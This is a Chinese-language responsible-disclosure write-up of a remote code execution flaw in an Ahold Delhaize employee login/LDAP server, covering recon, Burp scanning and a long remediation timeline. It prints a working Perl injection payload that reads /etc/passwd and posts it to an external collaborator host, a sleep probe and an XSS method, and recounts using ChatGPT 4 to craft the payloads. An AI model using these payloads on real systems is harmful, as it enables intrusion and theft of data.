背景
Ahold Delhaize 自称是全球最大的食品零售集团之一。他们每周服务6000万客户，拥有150多年历史，雇佣超过41.4万名员工。他们声称是超市和电子商务领域的领导者，并在2020年因其对网络安全透明度的支持而获奖。他们通过鼓励人们分享见解来做到这一点。听起来不错，我们今天就这么做吧！
正如你们中的一些人所知，我喜欢攻击我日常生活中使用的公司，而 Ahold Delhaize 作为 Bol.com 和 Albert Heijn 的所有者，是一个很好的目标。此外，他们制定了负责任的披露政策，因此我们可以安全地进行研究，并在问题修复后进行负责任的披露。最后但同样重要的是，我们甚至可能登上他们的名人墙;-)。
我过去报告了一些漏洞后，登上了名人墙。
讨论
通常我会把报告的讨论部分放在文章底部。但今天不同。因为这个严重的 CVSS 10 级漏洞在被报告后，超过3.5年仍未修复。我强烈怀疑这个漏洞自2005年以来就一直存在。这使他们的员工面临凭证泄露的风险。由于人们经常重复使用密码，他们应该被告知这种潜在的泄露。
本文描述的漏洞是在2020年4月23日发现的。同一天，Ahold 安全团队确认了这个漏洞；在收到报告后立即确认漏洞是一件好事。
我错误地认为在确认后会立即修复。一个深刻的教训：一个月后一定要自己检查修复情况，并尝试通过电子邮件跟踪你报告的所有漏洞。
2023年11月2日（超过3.5年后），我收到一封电子邮件，称该漏洞已修复。令我惊讶的是，我在2023年11月9日发现它没有被修复，仍然存在漏洞。
这一次，我正确地利用了该漏洞，并作为概念验证从服务器窃取了 /etc/passwd 文件。你将在下面详细阅读相关内容。
然而，整个服务器至少应该被认为在3.5年（甚至18年？）内已被攻破。因为任何人都可以在服务器上执行任何代码。无需认证且易于发现。
易受攻击的服务器充当中央身份提供者。它允许用户登录和重置密码，支持帮助页面上看到的不同 Ahold 公司。这可不妙。
该服务器用户类型示例；配送中心用户以及门店用户。
侦察
好了。介绍够了，是时候开始攻击了！
在攻击一家公司时，我们总是试图找到最有趣和最薄弱的资产。我们希望用漏洞换取最大的影响。
顺便说一下，今天我们不为了钱而攻击，因为 Ahold 最高奖励300欧元的礼品卡（相比之下，像 Shopify 这样的公司对 RCE 漏洞的奖励高达20万美元），所以我们今天这样做只是为了让互联网更安全一点。
对于像 Ahold Delhaize 这样规模的公司，建立适当的身份管理系统是一项巨大的挑战。他们一直在收购公司，可能需要与旧的遗留系统合作。这些系统管理着所有员工的用户名、密码和访问级别。
如果你攻陷了这样的服务器，游戏就结束了，因为你可以利用它来进行横向攻击，并在不同的公司资产上冒充其他用户。
那么，让我们来寻找这些资产。
一个好的开始是尝试弄清楚员工在哪里登录。让我为你谷歌一下。
有趣的是，https://ws1.aholdusa.com/ 被他们的美国员工用来登录。
快速浏览一下网页设计，给人一种90年代的感觉，我们作为安全研究人员喜欢这种感觉，因为它闻起来像是遗留代码，因此存在安全问题的可能性很高。
快速查找显示，该服务器的另一个名称是：ldap-ws-vip.aholdusa.com。
LDAP，即轻量级目录访问协议，是一种用于通过互联网协议（IP）网络访问和维护分布式目录信息服务的协议。它通常用于组织和定位网络中的不同项目，如用户、组、设备和权限，使其成为许多组织 IT 基础设施的核心部分。
LDAP-WS-VIP.aholdusa.com 是该服务器的 CNAME。
由于我们想发现这个 LDAP 服务器上所有有趣的端点（URL），我们需要确保也能捕获那些不再主动链接的旧的遗留端点。
用于此目的的一个很好的工具是 TomNomNom 制作的 https://github.com/tomnomnom/waybackurls。
该工具实际上抓取了所有曾经索引过的 archive.org 数据，并显示它能找到的所有 URL / 端点。这会产生很多噪音（也会显示图像和其他文件），但是当你根据特定单词过滤列表时，你可以很快得到好结果。
只显示 URL 中包含 cgi-bin 的结果（90年代喜欢 cgi-bin）并排序。
这些看起来像是 Perl，一种过去用来创建网站的编程语言，90年代的产物！扩展名 .pl 给了我们线索。
访问该页面时，我们看到一个可以提交的表单。
一个有趣的端点。请注意最后更改时间：2005年12月15日，所以不是'90年代，而是'00年代;-) 这个漏洞可能从2005年就存在了吗？如果是这样，在渗透测试中是如何错过它的？
Archive.org 大约在2007年首次索引了这个页面。
发现服务器端模板注入漏洞
下一步是在 Burp Browser 中打开此页面，以便捕获所有浏览器流量。
提交表单时会发出此请求。
我经常做的一件事是寻找能实际改变响应输出的参数。这可能很容易导致 XSS 和其他类型的漏洞。一个简单的方法是使用 Burp Intruder 或 Param Miner。
今天我们使用 Burp Intruder，我们将请求发送给 Intruder（在请求窗口中右键单击，发送到 intruder）。在 POST 正文中添加一个新的模拟参数，添加一些随机值，选择参数名称作为注入有效负载的位置，并将有效负载列表设置为 Form fields names - Long。
设置注入位置。
按添加列表，然后按开始攻击。
我们看到我们的值在源代码中反映出来，我们有了反射型 XSS！
我们可以通过按长度排序来快速浏览响应列表，这使我们能够查看页面是否比正常情况长/短。正常长度是7095，所以任何其他长度都很有趣。其中一个命中是 Version，我们可以在源代码中看到它将我们的 12345 有效负载反射为 HTML！
我们可以将有效负载设置为一些 XSS 有效负载，并接管任何被诱骗访问我们特定 URL 的用户的浏览器会话。一个快速的方法是创建一个好的有效负载：12345，回到 Repeater，并将 &version=12345 添加到请求中。在请求窗口中右键单击，选择 Engagement Tools -> Generate CSRF PoC。
现在 Burp 为你创建了一个可以触发漏洞的工作概念验证，将 HTML 上传到某个 Web 服务器，诱骗受害者打开该网站，漏洞就会执行。
额外收获：反射型 XSS 概念验证
但是，如果我们能用这个反射漏洞做更多事情呢？每当你遇到反射型 XSS 漏洞时，你还应该检查服务器端模板注入漏洞。这类漏洞的影响通常要大得多，因为它们允许你在服务器上执行代码，并反映在源代码中。
我们知道端点运行的是 Perl（记住 URL 中的扩展名），现在我们只扫描与 Perl 相关的代码注入。
首先在 Burp 中创建一个新的实时任务，转到 Dashboard 并点击那个橙色按钮。
打开一个新的实时任务。
转到扫描配置选项卡并创建一个新的扫描配置。打开报告的问题部分，然后按选择单个问题。
现在选择列表中的所有项目（Ctrl + A）并右键单击，按启用。这实质上禁用了它原本会进行的所有扫描，是减少噪音和对服务器请求的好方法。现在搜索 Perl 并选择 Perl 代码注入选项。按保存，你就可以开始扫描代码注入了！
主动扫描的设置，仅检查 Perl 代码注入。
现在回到带有我们反射的版本参数的 Repeater。现在选择我们 XSS 有效负载的值并按保存。
将端点和特定变量添加到主动扫描中，以便它可以检查 Perl 代码注入。
现在是时候喝杯咖啡（或好茶）了，看看 Burp Active Scanner 是否能找到代码注入漏洞。额外收获：检查 Burp 中的 Logger 选项卡，了解 Burp 使用了哪些有效负载。
砰！Burp 刚刚发现了一个 Perl 代码注入漏洞！
现在我们有了一个请求，通过注入有效负载 {${sleep(lc(20))}} 让服务器休眠20秒。
我们可以通过将请求发送到 Repeater 来轻松确认这一点（打开 Request 选项卡，在请求上右键单击并发送到 Repeater，在 Repeater 中重新发送请求，并看到它需要20秒加载）。
作为有效负载的 sleep(20) 很无聊，并且无法向非技术人员展示实际影响，我们需要创建一些实际能证明我们可以在服务器上执行任何代码的有效负载。
这需要时间和责任心（不要破坏东西，要相称）。只要确保公司管理层能理解这个漏洞确实是 CVSS 10 分，但不要通过泄露所有用户数据来证明这一点。
我经常做的是尝试证明我可以运行任何代码，并将 /etc/passwd 文件泄露到外部（攻击者控制的）服务器。这个文件不包含真实的密码，但它包含内部服务器信息。外部服务器可以是 Burp Collaborator（或者甚至是你自己的私人 Collaborator）。
经过2小时的尝试，我想出了以下泄露 /etc/passwd 文件的有效负载：
version=${exec('perl -MMIME::Base64 -MLWP::UserAgent -e \'my $ua %3d LWP::UserAgent->new;my $response %3d $ua->post(\"http://1dfct18y9z1fai91sjr25xngn7tyhx5m.oastify.com\",Content_Type %3d> \"form-data\", Content %3d> [file %3d> [\"/etc/passwd\"]]);\'\')}
让我解释一下它的作用：
- Perl 代码执行：
${exec('...')}内的有效负载是 Perl 代码，经过 URL 编码以确保通过 HTTP 正确传输。如果服务器易受 SSTI 攻击，它会解释并执行此代码。 - LWP::UserAgent 模块：这个 Perl 模块允许代码发出 HTTP 请求。
my $ua = LWP::UserAgent->new;部分创建了一个新的用户代理对象，能够发送 HTTP POST 请求。 - 发出 POST 请求：
$ua->post(...)函数向指定的 URL 发送 POST 请求，附带 /etc/passwd 文件的内容。这是攻击者的常见目标，因为它包含用户账户信息。
该请求。给客户端返回一个错误，然而代码被执行了。
/etc/passwd 文件被泄露到我们的服务器！注意非常过时的 perl 模块版本 5.69。
有人可能会想“先生，你需要广泛的 Perl 知识才能做到这一点”。错了！
ChatGPT 4 来救援。
我尝试了所有这些选项，第三个选项（在将 jo.ax.com 域替换为我们的 burp collaborator url 后）触发了一个传入的 DNS 请求。解析域名通常是发现服务器上是否有代码执行的最快方法。只需在 Burp Collaborator 中监控任何传入的 DNS 请求！
之后，就是给 ChatGPT 4 正确的提示来创建一个实际泄露 /etc/passwd 文件的有效负载。
想加快创建有效负载的速度吗？使用 ChatGPT。
额外有效负载
获取执行 perl 进程的当前 linux 用户（’nobody’）
|
|
显示 /etc/ 的目录内容（一长串文件和备份文件）
|
|
结论
我们今天证明，我们可以完全攻陷 ws1.aholdusa.com 服务器。一个身份管理系统 / LDAP 服务器。我3.5年前发现了这个漏洞，但它很可能自2005年12月15日以来就一直存在。
使用该服务器的所有用户/员工/客户/供应商的数据都应被视为已泄露，因为我们展示了完全的远程代码执行能力，并且能够建立到我们自身服务器的出站连接。
不可能知道服务器是否未被恶意行为者攻陷，因为这需要大量的日志。在这种情况下，日志需要包含 POST 正文值。在这类应用程序中你会不惜一切代价避免记录这些，因为那也会以明文形式泄露用户名和密码（请记住受影响的端点用于用户登录）。此外，这些日志需要追溯到18年前，才能证明这个漏洞从未被利用过。
时间线
- 2020年4月23日 — 向 Ahold 安全团队报告了该漏洞，见下文电子邮件。
- （初始报告，对 Ahold 个人的一些姓名进行了模糊处理）
- 2020年4月23日 — Ahold 确认了该漏洞，承诺会通知我。
- （3.5年后的回复，对个人的姓名进行了模糊处理。有人可能会问为什么网络防御团队没有自己检查是否真的修复了。）
- 2023年11月2日 — Ahold 请求我确认漏洞修复并提供已修复的证明。
- 2023年11月6日 — Ahold 再次发电子邮件要求我确认漏洞已修复（我没有时间更快回复）。
- 2023年11月6日 — 回复说我很惊讶为什么漏洞没有早点修复，要求提供相关信息，并承诺他们会检查是否已修复。
- （询问跟进中出了什么问题，计算机说不行。给公司的建议；要人性化，使用名字，与研究人建立关系并解释出错的原因。透明就是信任。）
- 2023年11月9日 — 确认漏洞仍然存在，创建了完整的 RCE 有效负载并撰写了此博客。与安全团队分享。要求在30天内负责任地披露，因为可能有很多员工的凭证因该漏洞而泄露。
- 2023年11月9日 — 告知 Ahold Delhaize 数据保护官此报告的存在，因为这影响到大量员工。
- 2023年11月10日 — Ahold 要求提供我的 PayPal 以发送奖励。
- 2023年11月13日 — Ahold 为此漏洞奖励了300欧元。
- （我们赢得了 Ahold 的最高赏金；300欧元）
- 2023年11月13日 — 端点仍然易受攻击，通过电话联系了 Ahold Delhaize 的隐私官，分享了我的担忧并要求将此报告升级。
- 2023年11月15日 — Ahold 通知我端点已修复。然而，经过一些测试；端点并未修复。它仅在请求端点时使用 GET HTTP 方法时重定向到404。漏洞利用仍然有效，因为漏洞利用使用 POST HTTP 方法。添加了两个新的有效负载（检查当前用户；nobody 和 /etc/ 中的文件列表）。通过电子邮件向 Ahold 发送了我的反馈和担忧。
- 2023年11月17日 — 端点仍然易受攻击。
- 2023年11月20日 — Ahold 通知我漏洞已解决。我确认了修复。请求披露此文章，并主动提出让 Ahold 在文章中添加他们自己的段落。
- 2023年11月27日 — 未收到披露请求的回复，发送了提醒。Ahold 回复他们需要更多时间。
- 2023年12月7日 — 请求更新。
- 2023年12月8日 — Ahold 通知我，经过内部讨论，他们不想使用这个机会添加段落。
- 2023年12月14日 — 披露了上述文章。